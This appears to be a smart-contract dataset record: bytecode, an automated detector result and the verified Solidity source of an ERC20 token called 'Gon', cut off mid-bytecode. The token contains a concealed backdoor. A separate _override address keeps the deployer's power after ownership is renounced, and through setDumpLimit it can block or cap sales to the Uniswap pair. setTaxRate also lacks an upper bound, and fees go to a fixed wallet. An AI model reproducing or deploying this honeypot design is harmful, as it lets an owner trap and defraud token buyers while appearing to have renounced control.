} | 0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b0f8f2e61461004e578063ec5568891461008b575b005b34801561005a57600080fd5b5061007560048036036100709190810190610239565b6100b6565b60405161008291906103d6565b60405180910390f35b34801561009757600080fd5b506100a0610196565b6040516100ad9190610361565b60405180910390f35b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663667e9394878787876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401610136949392919061037c565b602060405180830381600087803b15801561015057600080fd5b505af1158015610164573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061018891908101906102e4565b905080915050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082601f83011215156101ce57600080fd5b81356101e16101dc8261041e565b6103f1565b915080825260208301602083018583830111156101fd57600080fd5b61020883828461049b565b50505092915050565b600061021d823561047f565b905092915050565b6000610231825161047f565b905092915050565b6000806000806080858703121561024f57600080fd5b600085013567ffffffffffffffff81111561026957600080fd5b610275878288016101bb565b945050602085013567ffffffffffffffff81111561029257600080fd5b61029e878288016101bb565b935050604085013567ffffffffffffffff8111156102bb57600080fd5b6102c7878288016101bb565b92505060606102d887828801610211565b91505092959194509250565b6000602082840312156102f657600080fd5b600061030484828501610225565b91505092915050565b61031681610489565b82525050565b60006103278261044a565b80845261033b8160208601602086016104aa565b610344816104dd565b602085010191505092915050565b61035b81610475565b82525050565b6000602082019050610376600083018461030d565b92915050565b60006080820190508181036000830152610396818761031c565b905081810360208301526103aa818661031c565b905081810360408301526103be818561031c565b90506103cd6060830184610352565b95945050505050565b60006020820190506103eb6000830184610352565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561041457600080fd5b8060405250919050565b600067ffffffffffffffff82111561043557600080fd5b601f19601f8301169050602081019050919050565b600081519050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000819050919050565b600061049482610455565b9050919050565b82818337600083830152505050565b60005b838110156104c85780820151818401526020810190506104ad565b838111156104d7576000848401525b50505050565b6000601f19601f83011690509190505600a265627a7a723058207922fc871b23a59f9e6606e8e9457f7daf02b677ef503bddfa00c64490d65b576c6578706572696d656e74616cf50037 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,653 |
0x6fee1491b58bd6c927e631580dba6d3dbfd46c7a | /**
*Submitted for verification at Etherscan.io on 2021-10-28
*/
// SPDX-License-Identifier: MIT
// Telegram: t.me/gon_inu
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS=0xa014a9285Eb229f3887d6Ef7fefd7942a8339BcE;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Gon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "Gon";
string private constant _symbol = "GON";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _override;
uint256 private _maxDump = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_override=owner();
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 8;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxDump);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_maxDump = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier overridden() {
require(_override == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setDumpLimit(uint256 limit) external overridden {
_maxDump = limit;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063aac3cd03146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061243b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fdb565b6103f6565b6040516101629190612420565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125bd565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f88565b610421565b6040516101ca9190612420565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f59190612632565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190611eee565b610579565b60405161024991906125bd565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b9190612352565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b6919061243b565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190611fdb565b610783565b6040516102f39190612420565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190612048565b6107a1565b005b34801561033157600080fd5b5061034c60048036038101906103479190612048565b61080c565b005b34801561035a57600080fd5b506103636108ef565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f48565b610e12565b60405161039991906125bd565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b60606040518060400160405280600381526020017f476f6e0000000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b60006402540be400905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c3660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106569061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f474f4e0000000000000000000000000000000000000000000000000000000000815250905090565b6000610797610790610f0b565b84846110de565b6001905092915050565b6107a9610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080257600080fd5b80600a8190555050565b610814610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108989061251d565b60405180910390fd5b60008110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc9061259d565b60405180910390fd5b8060058190555050565b6108f7610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b9061251d565b60405180910390fd5b600860149054906101000a900460ff16156109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906124bd565b60405180910390fd5b610a0630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166402540be400610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190611f1b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b629190611f1b565b6040518363ffffffff1660e01b8152600401610b7f92919061236d565b602060405180830381600087803b158015610b9957600080fd5b505af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd19190611f1b565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5a30610579565b600080610c6561071d565b426040518863ffffffff1660e01b8152600401610c87969594939291906123bf565b6060604051808303818588803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd99190612075565b5050506001600860166101000a81548160ff0219169083151502179055506402540be400600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dbd929190612396565b602060405180830381600087803b158015610dd757600080fd5b505af1158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f919061201b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a9061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061249d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d191906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061245d565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061253d565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb9190612729565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454919061243b565b60405180910390fd5b506000838561146c9190612783565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b06128de565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190611f1b565b816001815181106115e5576115e46128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906125d8565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061247d565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1891906125bd565b60405180910390a3505050505050505050565b6000806000600354905060006402540be4009050611a596402540be40060035461181690919063ffffffff16565b821015611a74576003546402540be400935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061243b565b60405180910390fd5b5060008385611ad791906126f8565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba591906126a2565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be1906124dd565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b9190612729565b9050828482611e3a91906126f8565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e71906124fd565b60405180910390fd5b809150505b92915050565b600081359050611e9481612bf0565b92915050565b600081519050611ea981612bf0565b92915050565b600081519050611ebe81612c07565b92915050565b600081359050611ed381612c1e565b92915050565b600081519050611ee881612c1e565b92915050565b600060208284031215611f0457611f0361290d565b5b6000611f1284828501611e85565b91505092915050565b600060208284031215611f3157611f3061290d565b5b6000611f3f84828501611e9a565b91505092915050565b60008060408385031215611f5f57611f5e61290d565b5b6000611f6d85828601611e85565b9250506020611f7e85828601611e85565b9150509250929050565b600080600060608486031215611fa157611fa061290d565b5b6000611faf86828701611e85565b9350506020611fc086828701611e85565b9250506040611fd186828701611ec4565b9150509250925092565b60008060408385031215611ff257611ff161290d565b5b600061200085828601611e85565b925050602061201185828601611ec4565b9150509250929050565b6000602082840312156120315761203061290d565b5b600061203f84828501611eaf565b91505092915050565b60006020828403121561205e5761205d61290d565b5b600061206c84828501611ec4565b91505092915050565b60008060006060848603121561208e5761208d61290d565b5b600061209c86828701611ed9565b93505060206120ad86828701611ed9565b92505060406120be86828701611ed9565b9150509250925092565b60006120d483836120e0565b60208301905092915050565b6120e9816127b7565b82525050565b6120f8816127b7565b82525050565b60006121098261265d565b6121138185612680565b935061211e8361264d565b8060005b8381101561214f57815161213688826120c8565b975061214183612673565b925050600181019050612122565b5085935050505092915050565b612165816127c9565b82525050565b6121748161280c565b82525050565b600061218582612668565b61218f8185612691565b935061219f81856020860161281e565b6121a881612912565b840191505092915050565b60006121c0602383612691565b91506121cb82612923565b604082019050919050565b60006121e3602a83612691565b91506121ee82612972565b604082019050919050565b6000612206602283612691565b9150612211826129c1565b604082019050919050565b6000612229601783612691565b915061223482612a10565b602082019050919050565b600061224c601b83612691565b915061225782612a39565b602082019050919050565b600061226f602183612691565b915061227a82612a62565b604082019050919050565b6000612292602083612691565b915061229d82612ab1565b602082019050919050565b60006122b5602983612691565b91506122c082612ada565b604082019050919050565b60006122d8602583612691565b91506122e382612b29565b604082019050919050565b60006122fb602483612691565b915061230682612b78565b604082019050919050565b600061231e601883612691565b915061232982612bc7565b602082019050919050565b61233d816127f5565b82525050565b61234c816127ff565b82525050565b600060208201905061236760008301846120ef565b92915050565b600060408201905061238260008301856120ef565b61238f60208301846120ef565b9392505050565b60006040820190506123ab60008301856120ef565b6123b86020830184612334565b9392505050565b600060c0820190506123d460008301896120ef565b6123e16020830188612334565b6123ee604083018761216b565b6123fb606083018661216b565b61240860808301856120ef565b61241560a0830184612334565b979650505050505050565b6000602082019050612435600083018461215c565b92915050565b60006020820190508181036000830152612455818461217a565b905092915050565b60006020820190508181036000830152612476816121b3565b9050919050565b60006020820190508181036000830152612496816121d6565b9050919050565b600060208201905081810360008301526124b6816121f9565b9050919050565b600060208201905081810360008301526124d68161221c565b9050919050565b600060208201905081810360008301526124f68161223f565b9050919050565b6000602082019050818103600083015261251681612262565b9050919050565b6000602082019050818103600083015261253681612285565b9050919050565b60006020820190508181036000830152612556816122a8565b9050919050565b60006020820190508181036000830152612576816122cb565b9050919050565b60006020820190508181036000830152612596816122ee565b9050919050565b600060208201905081810360008301526125b681612311565b9050919050565b60006020820190506125d26000830184612334565b92915050565b600060a0820190506125ed6000830188612334565b6125fa602083018761216b565b818103604083015261260c81866120fe565b905061261b60608301856120ef565b6126286080830184612334565b9695505050505050565b60006020820190506126476000830184612343565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad826127f5565b91506126b8836127f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612851565b5b828201905092915050565b6000612703826127f5565b915061270e836127f5565b92508261271e5761271d612880565b5b828204905092915050565b6000612734826127f5565b915061273f836127f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612851565b5b828202905092915050565b600061278e826127f5565b9150612799836127f5565b9250828210156127ac576127ab612851565b5b828203905092915050565b60006127c2826127d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612817826127f5565b9050919050565b60005b8381101561283c578082015181840152602081019050612821565b8381111561284b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000